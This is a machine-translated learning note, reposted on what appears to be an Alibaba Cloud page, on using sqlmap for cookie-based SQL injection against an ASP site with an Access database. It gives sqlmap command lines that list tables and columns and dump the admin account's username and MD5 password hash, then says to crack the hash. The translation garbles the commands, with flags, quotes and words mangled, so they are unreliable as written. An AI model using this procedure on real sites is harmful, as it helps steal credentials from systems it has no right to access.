3.sqlmap cookie Injection of learning notes

Source: Internet
Author: User
Tags md5 encryption

Cookie injection:

1. Suppose this URL is "http://www.xxx.org/Show.asp?" Id=9 "There is an injection point.
At the 2.sqlmap command prompt, enter the following to stopwatch.

  " http://www.xxx.org/Show.asp " " id=9 " --table--level 2

Suppose the return content is as follows, description is an Access database.

   -- -----------------------      [INFO] resuming back-end'Microsoft Access'    -------------------------

set Number of threads: Ten  
Suppose the result is returned:

-- ----------------------------------------- [  4 tables] + -- --------------------+        admin       Mark       province       vote+----------------------+

Four tables found for: admin Mark Province vote

3. Guess the field name of the table:

  " http://www.xxx.org/Show.asp " " id=9 " --columns-t admin--level 2

Suppose you find the following fields for the admin table:                    
ID Username password

-- -------------------------------  [INFO] retrieved:       ID  [INFO]  retrieved:       username   [INFO] retrieved:       password----------------------------------  

4. Guess the contents of the field:

    " http://www.xxx.org/Show.asp " " id=9 " " Username,password "

Get results:

  [info] retrieved:       1  [info]  retrieved :       admin  [INFO] retrieved:       21232F297A57A5A743894A0E4A801FC3  (32-bit MD5 encryption)


Account: admin Password: Decrypt the cipher.

3.sqlmap cookie Injection of learning notes

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.